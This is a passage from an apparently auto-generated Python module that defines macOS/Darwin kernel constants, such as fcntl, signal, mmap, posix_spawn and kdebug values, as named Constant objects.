Constant('F_TRIM_ACTIVE_FILE',100)\nF_SPECULATIVE_READ = Constant('F_SPECULATIVE_READ',101)\nF_GETPATH_NOFIRMLINK = Constant('F_GETPATH_NOFIRMLINK',102)\nF_ADDFILESIGS_INFO = Constant('F_ADDFILESIGS_INFO',103)\nF_ADDFILESUPPL = Constant('F_ADDFILESUPPL',104)\nF_GETSIGSINFO = Constant('F_GETSIGSINFO',105)\nF_SETLEASE = Constant('F_SETLEASE',106)\nF_GETLEASE = Constant('F_GETLEASE',107)\nF_TRANSFEREXTENTS = Constant('F_TRANSFEREXTENTS',110)\nF_ATTRIBUTION_TAG = Constant('F_ATTRIBUTION_TAG',111)\nF_ADDSIGS_MAIN_BINARY = Constant('F_ADDSIGS_MAIN_BINARY',113)\nFCNTL_FS_SPECIFIC_BASE = Constant('FCNTL_FS_SPECIFIC_BASE',0x00010000)\nF_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',67)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_WRLCK = Constant('F_WRLCK',3)\nF_WAIT = Constant('F_WAIT',0x010)\nF_FLOCK = Constant('F_FLOCK',0x020)\nF_POSIX = Constant('F_POSIX',0x040)\nF_PROV = Constant('F_PROV',0x080)\nF_WAKE1_SAFE = Constant('F_WAKE1_SAFE',0x100)\nF_ABORT = Constant('F_ABORT',0x200)\nF_OFD_LOCK = Constant('F_OFD_LOCK',0x400)\nF_TRANSFER = Constant('F_TRANSFER',0x800)\nF_CONFINED = Constant('F_CONFINED',0x1000)\nF_ALLOCATECONTIG = Constant('F_ALLOCATECONTIG',0x00000002)\nF_ALLOCATEALL = Constant('F_ALLOCATEALL',0x00000004)\nF_ALLOCATEPERSIST = Constant('F_ALLOCATEPERSIST',0x00000008)\nF_PEOFPOSMODE = Constant('F_PEOFPOSMODE',3)\nF_VOLPOSMODE = Constant('F_VOLPOSMODE',4)\nUSER_FSIGNATURES_CDHASH_LEN = Constant('USER_FSIGNATURES_CDHASH_LEN',20)\nGETSIGSINFO_PLATFORM_BINARY = Constant('GETSIGSINFO_PLATFORM_BINARY',1)\nLOCK_SH = Constant('LOCK_SH',0x01)\nLOCK_EX = Constant('LOCK_EX',0x02)\nLOCK_NB = Constant('LOCK_NB',0x04)\nLOCK_UN = Constant('LOCK_UN',0x08)\nATTRIBUTION_NAME_MAX = Constant('ATTRIBUTION_NAME_MAX',255)\nF_CREATE_TAG = Constant('F_CREATE_TAG',0x00000001)\nF_DELETE_TAG = Constant('F_DELETE_TAG',0x00000002)\nF_QUERY_TAG = Constant('F_QUERY_TAG',0x00000004)\nO_POPUP = Constant('O_POPUP',0x80000000)\nO_ALERT = Constant('O_ALERT',0x20000000)\nS_BLKSIZE = Constant('S_BLKSIZE',512)\nUF_SETTABLE = Constant('UF_SETTABLE',0x0000ffff)\nUF_NODUMP = Constant('UF_NODUMP',0x00000001)\nUF_IMMUTABLE = Constant('UF_IMMUTABLE',0x00000002)\nUF_APPEND = Constant('UF_APPEND',0x00000004)\nUF_OPAQUE = Constant('UF_OPAQUE',0x00000008)\nUF_COMPRESSED = Constant('UF_COMPRESSED',0x00000020)\nUF_TRACKED = Constant('UF_TRACKED',0x00000040)\nUF_DATAVAULT = Constant('UF_DATAVAULT',0x00000080)\nUF_HIDDEN = Constant('UF_HIDDEN',0x00008000)\nSF_SUPPORTED = Constant('SF_SUPPORTED',0x009f0000)\nSF_SETTABLE = Constant('SF_SETTABLE',0x3fff0000)\nSF_SYNTHETIC = Constant('SF_SYNTHETIC',0xc0000000)\nSF_ARCHIVED = Constant('SF_ARCHIVED',0x00010000)\nSF_IMMUTABLE = Constant('SF_IMMUTABLE',0x00020000)\nSF_APPEND = Constant('SF_APPEND',0x00040000)\nSF_RESTRICTED = Constant('SF_RESTRICTED',0x00080000)\nSF_NOUNLINK = Constant('SF_NOUNLINK',0x00100000)\nSF_FIRMLINK = Constant('SF_FIRMLINK',0x00800000)\nSF_DATALESS = Constant('SF_DATALESS',0x40000000)\nEF_MAY_SHARE_BLOCKS = Constant('EF_MAY_SHARE_BLOCKS',0x00000001)\nEF_NO_XATTRS = Constant('EF_NO_XATTRS',0x00000002)\nEF_IS_SYNC_ROOT = Constant('EF_IS_SYNC_ROOT',0x00000004)\nEF_IS_PURGEABLE = Constant('EF_IS_PURGEABLE',0x00000008)\nEF_IS_SPARSE = Constant('EF_IS_SPARSE',0x00000010)\nEF_IS_SYNTHETIC = Constant('EF_IS_SYNTHETIC',0x00000020)\nEF_SHARES_ALL_BLOCKS = Constant('EF_SHARES_ALL_BLOCKS',0x00000040)\nMBUF_COPYALL = Constant('MBUF_COPYALL',1000000000)\n__DARWIN_NSIG = Constant('__DARWIN_NSIG',32)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGPOLL = Constant('SIGPOLL',7)\nSIGEMT = Constant('SIGEMT',7)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGBUS = Constant('SIGBUS',10)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGSYS = Constant('SIGSYS',12)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGURG = Constant('SIGURG',16)\nSIGSTOP = Constant('SIGSTOP',17)\nSIGTSTP = Constant('SIGTSTP',18)\nSIGCONT = Constant('SIGCONT',19)\nSIGCHLD = Constant('SIGCHLD',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGIO = Constant('SIGIO',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGINFO = Constant('SIGINFO',29)\nSIGUSR1 = Constant('SIGUSR1',30)\nSIGUSR2 = Constant('SIGUSR2',31)\nSIGEV_NONE = Constant('SIGEV_NONE',0)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',3)\nILL_NOOP = Constant('ILL_NOOP',0)\nILL_ILLOPC = Constant('ILL_ILLOPC',1)\nILL_ILLTRP = Constant('ILL_ILLTRP',2)\nILL_PRVOPC = Constant('ILL_PRVOPC',3)\nILL_ILLOPN = Constant('ILL_ILLOPN',4)\nILL_ILLADR = Constant('ILL_ILLADR',5)\nILL_PRVREG = Constant('ILL_PRVREG',6)\nILL_COPROC = Constant('ILL_COPROC',7)\nILL_BADSTK = Constant('ILL_BADSTK',8)\nFPE_NOOP = Constant('FPE_NOOP',0)\nFPE_FLTDIV = Constant('FPE_FLTDIV',1)\nFPE_FLTOVF = Constant('FPE_FLTOVF',2)\nFPE_FLTUND = Constant('FPE_FLTUND',3)\nFPE_FLTRES = Constant('FPE_FLTRES',4)\nFPE_FLTINV = Constant('FPE_FLTINV',5)\nFPE_FLTSUB = Constant('FPE_FLTSUB',6)\nFPE_INTDIV = Constant('FPE_INTDIV',7)\nFPE_INTOVF = Constant('FPE_INTOVF',8)\nSEGV_NOOP = Constant('SEGV_NOOP',0)\nSEGV_MAPERR = Constant('SEGV_MAPERR',1)\nSEGV_ACCERR = Constant('SEGV_ACCERR',2)\nBUS_NOOP = Constant('BUS_NOOP',0)\nBUS_ADRALN = Constant('BUS_ADRALN',1)\nBUS_ADRERR = Constant('BUS_ADRERR',2)\nBUS_OBJERR = Constant('BUS_OBJERR',3)\nTRAP_BRKPT = Constant('TRAP_BRKPT',1)\nTRAP_TRACE = Constant('TRAP_TRACE',2)\nCLD_NOOP = Constant('CLD_NOOP',0)\nCLD_EXITED = Constant('CLD_EXITED',1)\nCLD_KILLED = Constant('CLD_KILLED',2)\nCLD_DUMPED = Constant('CLD_DUMPED',3)\nCLD_TRAPPED = Constant('CLD_TRAPPED',4)\nCLD_STOPPED = Constant('CLD_STOPPED',5)\nCLD_CONTINUED = Constant('CLD_CONTINUED',6)\nPOLL_IN = Constant('POLL_IN',1)\nPOLL_OUT = Constant('POLL_OUT',2)\nPOLL_MSG = Constant('POLL_MSG',3)\nPOLL_ERR = Constant('POLL_ERR',4)\nPOLL_PRI = Constant('POLL_PRI',5)\nPOLL_HUP = Constant('POLL_HUP',6)\nSA_ONSTACK = Constant('SA_ONSTACK',0x0001)\nSA_RESTART = Constant('SA_RESTART',0x0002)\nSA_RESETHAND = Constant('SA_RESETHAND',0x0004)\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008)\nSA_NODEFER = Constant('SA_NODEFER',0x0010)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020)\nSA_SIGINFO = Constant('SA_SIGINFO',0x0040)\nSA_USERTRAMP = Constant('SA_USERTRAMP',0x0100)\nSA_64REGSET = Constant('SA_64REGSET',0x0200)\nSIG_BLOCK = Constant('SIG_BLOCK',1)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',2)\nSIG_SETMASK = Constant('SIG_SETMASK',3)\nSI_USER = Constant('SI_USER',0x10001)\nSI_QUEUE = Constant('SI_QUEUE',0x10002)\nSI_TIMER = Constant('SI_TIMER',0x10003)\nSI_ASYNCIO = Constant('SI_ASYNCIO',0x10004)\nSI_MESGQ = Constant('SI_MESGQ',0x10005)\nSS_ONSTACK = Constant('SS_ONSTACK',0x0001)\nSS_DISABLE = Constant('SS_DISABLE',0x0004)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',32768)\nSIGSTKSZ = Constant('SIGSTKSZ',131072)\n__DARWIN_MAXNAMLEN = Constant('__DARWIN_MAXNAMLEN',255)\n__DARWIN_MAXPATHLEN = Constant('__DARWIN_MAXPATHLEN',1024)\nDT_UNKNOWN = Constant('DT_UNKNOWN',0)\nDT_FIFO = Constant('DT_FIFO',1)\nDT_CHR = Constant('DT_CHR',2)\nDT_DIR = Constant('DT_DIR',4)\nDT_BLK = Constant('DT_BLK',6)\nDT_REG = Constant('DT_REG',8)\nDT_LNK = Constant('DT_LNK',10)\nDT_SOCK = Constant('DT_SOCK',12)\nDT_WHT = Constant('DT_WHT',14)\nPOSIX_SPAWN_RESETIDS = Constant('POSIX_SPAWN_RESETIDS',0x0001)\nPOSIX_SPAWN_SETPGROUP = Constant('POSIX_SPAWN_SETPGROUP',0x0002)\nPOSIX_SPAWN_SETSIGDEF = Constant('POSIX_SPAWN_SETSIGDEF',0x0004)\nPOSIX_SPAWN_SETSIGMASK = Constant('POSIX_SPAWN_SETSIGMASK',0x0008)\nPOSIX_SPAWN_SETSCHEDPARAM = Constant('POSIX_SPAWN_SETSCHEDPARAM',0x0010)\nPOSIX_SPAWN_SETSCHEDULER = Constant('POSIX_SPAWN_SETSCHEDULER',0x0020)\nPOSIX_SPAWN_SETEXEC = Constant('POSIX_SPAWN_SETEXEC',0x0040)\nPOSIX_SPAWN_START_SUSPENDED = Constant('POSIX_SPAWN_START_SUSPENDED',0x0080)\nPOSIX_SPAWN_SETSID = Constant('POSIX_SPAWN_SETSID',0x0400)\nPOSIX_SPAWN_CLOEXEC_DEFAULT = Constant('POSIX_SPAWN_CLOEXEC_DEFAULT',0x4000)\n_POSIX_SPAWN_RESLIDE = Constant('_POSIX_SPAWN_RESLIDE',0x0800)\nPOSIX_SPAWN_PCONTROL_NONE = Constant('POSIX_SPAWN_PCONTROL_NONE',0x0000)\nPOSIX_SPAWN_PCONTROL_THROTTLE = Constant('POSIX_SPAWN_PCONTROL_THROTTLE',0x0001)\nPOSIX_SPAWN_PCONTROL_SUSPEND = Constant('POSIX_SPAWN_PCONTROL_SUSPEND',0x0002)\nPOSIX_SPAWN_PCONTROL_KILL = Constant('POSIX_SPAWN_PCONTROL_KILL',0x0003)\nPOSIX_SPAWN_PANIC_ON_CRASH = Constant('POSIX_SPAWN_PANIC_ON_CRASH',0x1)\nPOSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT = Constant('POSIX_SPAWN_PANIC_ON_NON_ZERO_EXIT',0x2)\nPOSIX_SPAWN_PANIC_ON_EXIT = Constant('POSIX_SPAWN_PANIC_ON_EXIT',0x4)\nPOSIX_SPAWN_PANIC_ON_SPAWN_FAIL = Constant('POSIX_SPAWN_PANIC_ON_SPAWN_FAIL',0x8)\nPROT_NONE = Constant('PROT_NONE',0x00)\nPROT_READ = Constant('PROT_READ',0x01)\nPROT_WRITE = Constant('PROT_WRITE',0x02)\nPROT_EXEC = Constant('PROT_EXEC',0x04)\nMAP_SHARED = Constant('MAP_SHARED',0x0001)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x0002)\nMAP_FIXED = Constant('MAP_FIXED',0x0010)\nMAP_RENAME = Constant('MAP_RENAME',0x0020)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x0040)\nMAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080)\nMAP_NOEXTEND = Constant('MAP_NOEXTEND',0x0100)\nMAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200)\nMAP_NOCACHE = Constant('MAP_NOCACHE',0x0400)\nMAP_JIT = Constant('MAP_JIT',0x0800)\nMAP_FILE = Constant('MAP_FILE',0x0000)\nMAP_ANON = Constant('MAP_ANON',0x1000)\nMAP_RESILIENT_CODESIGN = Constant('MAP_RESILIENT_CODESIGN',0x2000)\nMAP_RESILIENT_MEDIA = Constant('MAP_RESILIENT_MEDIA',0x4000)\nMAP_32BIT = Constant('MAP_32BIT',0x8000)\nMAP_TRANSLATED_ALLOW_EXECUTE = Constant('MAP_TRANSLATED_ALLOW_EXECUTE',0x20000)\nMAP_UNIX03 = Constant('MAP_UNIX03',0x40000)\nMAP_TPRO = Constant('MAP_TPRO',0x80000)\nMCL_CURRENT = Constant('MCL_CURRENT',0x0001)\nMCL_FUTURE = Constant('MCL_FUTURE',0x0002)\nMS_ASYNC = Constant('MS_ASYNC',0x0001)\nMS_INVALIDATE = Constant('MS_INVALIDATE',0x0002)\nMS_SYNC = Constant('MS_SYNC',0x0010)\nMS_KILLPAGES = Constant('MS_KILLPAGES',0x0004)\nMS_DEACTIVATE = Constant('MS_DEACTIVATE',0x0008)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4)\nMADV_FREE = Constant('MADV_FREE',5)\nMADV_ZERO_WIRED_PAGES = Constant('MADV_ZERO_WIRED_PAGES',6)\nMADV_FREE_REUSABLE = Constant('MADV_FREE_REUSABLE',7)\nMADV_FREE_REUSE = Constant('MADV_FREE_REUSE',8)\nMADV_CAN_REUSE = Constant('MADV_CAN_REUSE',9)\nMADV_PAGEOUT = Constant('MADV_PAGEOUT',10)\nMADV_ZERO = Constant('MADV_ZERO',11)\nMINCORE_INCORE = Constant('MINCORE_INCORE',0x1)\nMINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2)\nMINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4)\nMINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8)\nMINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10)\nMINCORE_PAGED_OUT = Constant('MINCORE_PAGED_OUT',0x20)\nMINCORE_COPIED = Constant('MINCORE_COPIED',0x40)\nMINCORE_ANONYMOUS = Constant('MINCORE_ANONYMOUS',0x80)\nB_WRITE = Constant('B_WRITE',0x00000000)\nB_READ = Constant('B_READ',0x00000001)\nB_ASYNC = Constant('B_ASYNC',0x00000002)\nB_NOCACHE = Constant('B_NOCACHE',0x00000004)\nB_DELWRI = Constant('B_DELWRI',0x00000008)\nB_LOCKED = Constant('B_LOCKED',0x00000010)\nB_PHYS = Constant('B_PHYS',0x00000020)\nB_CLUSTER = Constant('B_CLUSTER',0x00000040)\nB_PAGEIO = Constant('B_PAGEIO',0x00000080)\nB_META = Constant('B_META',0x00000100)\nB_RAW = Constant('B_RAW',0x00000200)\nB_FUA = Constant('B_FUA',0x00000400)\nB_PASSIVE = Constant('B_PASSIVE',0x00000800)\nB_IOSTREAMING = Constant('B_IOSTREAMING',0x00001000)\nB_THROTTLED_IO = Constant('B_THROTTLED_IO',0x00002000)\nB_ENCRYPTED_IO = Constant('B_ENCRYPTED_IO',0x00004000)\nB_STATICCONTENT = Constant('B_STATICCONTENT',0x00008000)\nBUF_WAIT = Constant('BUF_WAIT',0x01)\nBUF_WRITE_DATA = Constant('BUF_WRITE_DATA',0x0001)\nBUF_SKIP_META = Constant('BUF_SKIP_META',0x0002)\nBUF_INVALIDATE_LOCKED = Constant('BUF_INVALIDATE_LOCKED',0x0004)\nBUF_SKIP_NONLOCKED = Constant('BUF_SKIP_NONLOCKED',0x01)\nBUF_SKIP_LOCKED = Constant('BUF_SKIP_LOCKED',0x02)\nBUF_SCAN_CLEAN = Constant('BUF_SCAN_CLEAN',0x04)\nBUF_SCAN_DIRTY = Constant('BUF_SCAN_DIRTY',0x08)\nBUF_NOTIFY_BUSY = Constant('BUF_NOTIFY_BUSY',0x10)\nBUF_RETURNED = Constant('BUF_RETURNED',0)\nBUF_RETURNED_DONE = Constant('BUF_RETURNED_DONE',1)\nBUF_CLAIMED = Constant('BUF_CLAIMED',2)\nBUF_CLAIMED_DONE = Constant('BUF_CLAIMED_DONE',3)\nBLK_READ = Constant('BLK_READ',0x01)\nBLK_WRITE = Constant('BLK_WRITE',0x02)\nBLK_META = Constant('BLK_META',0x10)\nBLK_ONLYVALID = Constant('BLK_ONLYVALID',0x80000000)\nLOG_EMERG = Constant('LOG_EMERG',0)\nLOG_ALERT = Constant('LOG_ALERT',1)\nLOG_CRIT = Constant('LOG_CRIT',2)\nLOG_ERR = Constant('LOG_ERR',3)\nLOG_WARNING = Constant('LOG_WARNING',4)\nLOG_NOTICE = Constant('LOG_NOTICE',5)\nLOG_INFO = Constant('LOG_INFO',6)\nLOG_DEBUG = Constant('LOG_DEBUG',7)\nLOG_PRIMASK = Constant('LOG_PRIMASK',0x07)\nINTERNAL_NOPRI = Constant('INTERNAL_NOPRI',0x10)\nLOG_NFACILITIES = Constant('LOG_NFACILITIES',25)\nLOG_FACMASK = Constant('LOG_FACMASK',0x03f8)\nLOG_PID = Constant('LOG_PID',0x01)\nLOG_CONS = Constant('LOG_CONS',0x02)\nLOG_ODELAY = Constant('LOG_ODELAY',0x04)\nLOG_NDELAY = Constant('LOG_NDELAY',0x08)\nLOG_NOWAIT = Constant('LOG_NOWAIT',0x10)\nLOG_PERROR = Constant('LOG_PERROR',0x20)\nCRF_NOMEMBERD = Constant('CRF_NOMEMBERD',0x00000001)\nCRF_MAC_ENFORCE = Constant('CRF_MAC_ENFORCE',0x00000002)\nXUCRED_VERSION = Constant('XUCRED_VERSION',0)\nDK_FEATURE_BARRIER = Constant('DK_FEATURE_BARRIER',0x00000002)\nDK_FEATURE_PRIORITY = Constant('DK_FEATURE_PRIORITY',0x00000004)\nDK_FEATURE_UNMAP = Constant('DK_FEATURE_UNMAP',0x00000010)\nDK_SYNCHRONIZE_OPTION_BARRIER = Constant('DK_SYNCHRONIZE_OPTION_BARRIER',0x00000002)\nDK_CORESTORAGE_PIN_YOUR_METADATA = Constant('DK_CORESTORAGE_PIN_YOUR_METADATA',0x00000001)\nDK_CORESTORAGE_ENABLE_HOTFILES = Constant('DK_CORESTORAGE_ENABLE_HOTFILES',0x00000002)\nDK_CORESTORAGE_PIN_YOUR_SWAPFILE = Constant('DK_CORESTORAGE_PIN_YOUR_SWAPFILE',0x00000004)\nDK_PROVISION_TYPE_MAPPED = Constant('DK_PROVISION_TYPE_MAPPED',0x00)\nDK_PROVISION_TYPE_DEALLOCATED = Constant('DK_PROVISION_TYPE_DEALLOCATED',0x01)\nDK_PROVISION_TYPE_ANCHORED = Constant('DK_PROVISION_TYPE_ANCHORED',0x02)\nDK_LOCATION_INTERNAL = Constant('DK_LOCATION_INTERNAL',0x00000000)\nDK_LOCATION_EXTERNAL = Constant('DK_LOCATION_EXTERNAL',0x00000001)\nDK_FEATURE_FORCE_UNIT_ACCESS = Constant('DK_FEATURE_FORCE_UNIT_ACCESS',0x00000001)\nDK_ENCRYPTION_TYPE_AES_CBC = Constant('DK_ENCRYPTION_TYPE_AES_CBC',1)\nDK_ENCRYPTION_TYPE_AES_XEX = Constant('DK_ENCRYPTION_TYPE_AES_XEX',2)\nDK_ENCRYPTION_TYPE_AES_XTS = Constant('DK_ENCRYPTION_TYPE_AES_XTS',3)\nDK_TIER_MASK = Constant('DK_TIER_MASK',0xC0)\nDK_TIER_SHIFT = Constant('DK_TIER_SHIFT',6)\nSOL_LOCAL = Constant('SOL_LOCAL',0)\nLOCAL_PEERCRED = Constant('LOCAL_PEERCRED',0x001)\nLOCAL_PEERPID = Constant('LOCAL_PEERPID',0x002)\nLOCAL_PEEREPID = Constant('LOCAL_PEEREPID',0x003)\nLOCAL_PEERUUID = Constant('LOCAL_PEERUUID',0x004)\nLOCAL_PEEREUUID = Constant('LOCAL_PEEREUUID',0x005)\nLOCAL_PEERTOKEN = Constant('LOCAL_PEERTOKEN',0x006)\n_SYS_TIMEX_H_ = Constant('_SYS_TIMEX_H_',1)\nNTP_API = Constant('NTP_API',4)\nMINSEC = Constant('MINSEC',256)\nMAXSEC = Constant('MAXSEC',2048)\nMAXTC = Constant('MAXTC',10)\nMOD_OFFSET = Constant('MOD_OFFSET',0x0001)\nMOD_FREQUENCY = Constant('MOD_FREQUENCY',0x0002)\nMOD_MAXERROR = Constant('MOD_MAXERROR',0x0004)\nMOD_ESTERROR = Constant('MOD_ESTERROR',0x0008)\nMOD_STATUS = Constant('MOD_STATUS',0x0010)\nMOD_TIMECONST = Constant('MOD_TIMECONST',0x0020)\nMOD_PPSMAX = Constant('MOD_PPSMAX',0x0040)\nMOD_TAI = Constant('MOD_TAI',0x0080)\nMOD_MICRO = Constant('MOD_MICRO',0x1000)\nMOD_NANO = Constant('MOD_NANO',0x2000)\nMOD_CLKB = Constant('MOD_CLKB',0x4000)\nMOD_CLKA = Constant('MOD_CLKA',0x8000)\nSTA_PLL = Constant('STA_PLL',0x0001)\nSTA_PPSFREQ = Constant('STA_PPSFREQ',0x0002)\nSTA_PPSTIME = Constant('STA_PPSTIME',0x0004)\nSTA_FLL = Constant('STA_FLL',0x0008)\nSTA_INS = Constant('STA_INS',0x0010)\nSTA_DEL = Constant('STA_DEL',0x0020)\nSTA_UNSYNC = Constant('STA_UNSYNC',0x0040)\nSTA_FREQHOLD = Constant('STA_FREQHOLD',0x0080)\nSTA_PPSSIGNAL = Constant('STA_PPSSIGNAL',0x0100)\nSTA_PPSJITTER = Constant('STA_PPSJITTER',0x0200)\nSTA_PPSWANDER = Constant('STA_PPSWANDER',0x0400)\nSTA_PPSERROR = Constant('STA_PPSERROR',0x0800)\nSTA_CLOCKERR = Constant('STA_CLOCKERR',0x1000)\nSTA_NANO = Constant('STA_NANO',0x2000)\nSTA_MODE = Constant('STA_MODE',0x4000)\nSTA_CLK = Constant('STA_CLK',0x8000)\nTIME_OK = Constant('TIME_OK',0)\nTIME_INS = Constant('TIME_INS',1)\nTIME_DEL = Constant('TIME_DEL',2)\nTIME_OOP = Constant('TIME_OOP',3)\nTIME_WAIT = Constant('TIME_WAIT',4)\nTIME_ERROR = Constant('TIME_ERROR',5)\nMT_FREE = Constant('MT_FREE',0)\nMT_DATA = Constant('MT_DATA',1)\nMT_HEADER = Constant('MT_HEADER',2)\nMT_SOCKET = Constant('MT_SOCKET',3)\nMT_PCB = Constant('MT_PCB',4)\nMT_RTABLE = Constant('MT_RTABLE',5)\nMT_HTABLE = Constant('MT_HTABLE',6)\nMT_ATABLE = Constant('MT_ATABLE',7)\nMT_SONAME = Constant('MT_SONAME',8)\nMT_SOOPTS = Constant('MT_SOOPTS',10)\nMT_FTABLE = Constant('MT_FTABLE',11)\nMT_RIGHTS = Constant('MT_RIGHTS',12)\nMT_IFADDR = Constant('MT_IFADDR',13)\nMT_CONTROL = Constant('MT_CONTROL',14)\nMT_OOBDATA = Constant('MT_OOBDATA',15)\nMT_TAG = Constant('MT_TAG',16)\nMT_MAX = Constant('MT_MAX',32)\nMAX_MBUF_CNAME = Constant('MAX_MBUF_CNAME',15)\nMCS_DISABLED = Constant('MCS_DISABLED',0)\nMCS_ONLINE = Constant('MCS_ONLINE',1)\nMCS_PURGING = Constant('MCS_PURGING',2)\nMCS_OFFLINE = Constant('MCS_OFFLINE',3)\nMSG_NOERROR = Constant('MSG_NOERROR',0o010000)\nMSGSSZ = Constant('MSGSSZ',8)\nMSGSEG = Constant('MSGSEG',2048)\nMSGMNB = Constant('MSGMNB',2048)\nMSGMNI = Constant('MSGMNI',40)\nMSGTQL = Constant('MSGTQL',40)\nMSG_LOCKED = Constant('MSG_LOCKED',0o01000)\nDBG_MACH = Constant('DBG_MACH',1)\nDBG_NETWORK = Constant('DBG_NETWORK',2)\nDBG_FSYSTEM = Constant('DBG_FSYSTEM',3)\nDBG_BSD = Constant('DBG_BSD',4)\nDBG_IOKIT = Constant('DBG_IOKIT',5)\nDBG_DRIVERS = Constant('DBG_DRIVERS',6)\nDBG_TRACE = Constant('DBG_TRACE',7)\nDBG_DLIL = Constant('DBG_DLIL',8)\nDBG_PTHREAD = Constant('DBG_PTHREAD',9)\nDBG_CORESTORAGE = Constant('DBG_CORESTORAGE',10)\nDBG_CG = Constant('DBG_CG',11)\nDBG_MONOTONIC = Constant('DBG_MONOTONIC',12)\nDBG_MISC = Constant('DBG_MISC',20)\nDBG_SECURITY = Constant('DBG_SECURITY',30)\nDBG_DYLD = Constant('DBG_DYLD',31)\nDBG_QT = Constant('DBG_QT',32)\nDBG_APPS = Constant('DBG_APPS',33)\nDBG_LAUNCHD = Constant('DBG_LAUNCHD',34)\nDBG_SILICON = Constant('DBG_SILICON',35)\nDBG_PERF = Constant('DBG_PERF',37)\nDBG_IMPORTANCE = Constant('DBG_IMPORTANCE',38)\nDBG_BANK = Constant('DBG_BANK',40)\nDBG_XPC = Constant('DBG_XPC',41)\nDBG_ATM = Constant('DBG_ATM',42)\nDBG_ARIADNE = Constant('DBG_ARIADNE',43)\nDBG_DAEMON = Constant('DBG_DAEMON',44)\nDBG_ENERGYTRACE = Constant('DBG_ENERGYTRACE',45)\nDBG_DISPATCH = Constant('DBG_DISPATCH',46)\nDBG_IMG = Constant('DBG_IMG',49)\nDBG_UMALLOC = Constant('DBG_UMALLOC',51)\nDBG_TURNSTILE = Constant('DBG_TURNSTILE',53)\nDBG_AUDIO = Constant('DBG_AUDIO',54)\nDBG_MIG = Constant('DBG_MIG',255)\nDBG_MACH_EXCP_KTRAP_x86 = Constant('DBG_MACH_EXCP_KTRAP_x86',0x02)\nDBG_MACH_EXCP_DFLT = Constant('DBG_MACH_EXCP_DFLT',0x03)\nDBG_MACH_EXCP_SYNC_ARM = Constant('DBG_MACH_EXCP_SYNC_ARM',0x03)\nDBG_MACH_EXCP_IFLT = Constant('DBG_MACH_EXCP_IFLT',0x04)\nDBG_MACH_EXCP_SERR_ARM = Constant('DBG_MACH_EXCP_SERR_ARM',0x04)\nDBG_MACH_EXCP_INTR = Constant('DBG_MACH_EXCP_INTR',0x05)\nDBG_MACH_EXCP_ALNG = Constant('DBG_MACH_EXCP_ALNG',0x06)\nDBG_MACH_EXCP_UTRAP_x86 = Constant('DBG_MACH_EXCP_UTRAP_x86',0x07)\nDBG_MACH_EXCP_FP = Constant('DBG_MACH_EXCP_FP',0x08)\nDBG_MACH_EXCP_DECI = Constant('DBG_MACH_EXCP_DECI',0x09)\nDBG_MACH_CHUD = Constant('DBG_MACH_CHUD',0x0A)\nDBG_MACH_SIGNPOST = Constant('DBG_MACH_SIGNPOST',0x0A)\nDBG_MACH_EXCP_SC = Constant('DBG_MACH_EXCP_SC',0x0C)\nDBG_MACH_EXCP_TRACE = Constant('DBG_MACH_EXCP_TRACE',0x0D)\nDBG_MACH_EXCP_EMUL = Constant('DBG_MACH_EXCP_EMUL',0x0E)\nDBG_MACH_IHDLR = Constant('DBG_MACH_IHDLR',0x10)\nDBG_MACH_IPC = Constant('DBG_MACH_IPC',0x20)\nDBG_MACH_RESOURCE = Constant('DBG_MACH_RESOURCE',0x25)\nDBG_MACH_EXCLAVES = Constant('DBG_MACH_EXCLAVES',0x2A)\nDBG_MACH_EXCLAVES_SCHEDULER = Constant('DBG_MACH_EXCLAVES_SCHEDULER',0x2B)\nDBG_MACH_EPOCH_SYNC = Constant('DBG_MACH_EPOCH_SYNC',0x2C)\nDBG_MACH_VM = Constant('DBG_MACH_VM',0x30)\nDBG_MACH_LEAKS = Constant('DBG_MACH_LEAKS',0x31)\nDBG_MACH_WORKINGSET = Constant('DBG_MACH_WORKINGSET',0x32)\nDBG_MACH_SCHED = Constant('DBG_MACH_SCHED',0x40)\nDBG_MACH_MSGID_INVALID = Constant('DBG_MACH_MSGID_INVALID',0x50)\nDBG_MACH_LOCKS = Constant('DBG_MACH_LOCKS',0x60)\nDBG_MACH_PMAP = Constant('DBG_MACH_PMAP',0x70)\nDBG_MACH_CLOCK = Constant('DBG_MACH_CLOCK',0x80)\nDBG_MACH_MP = 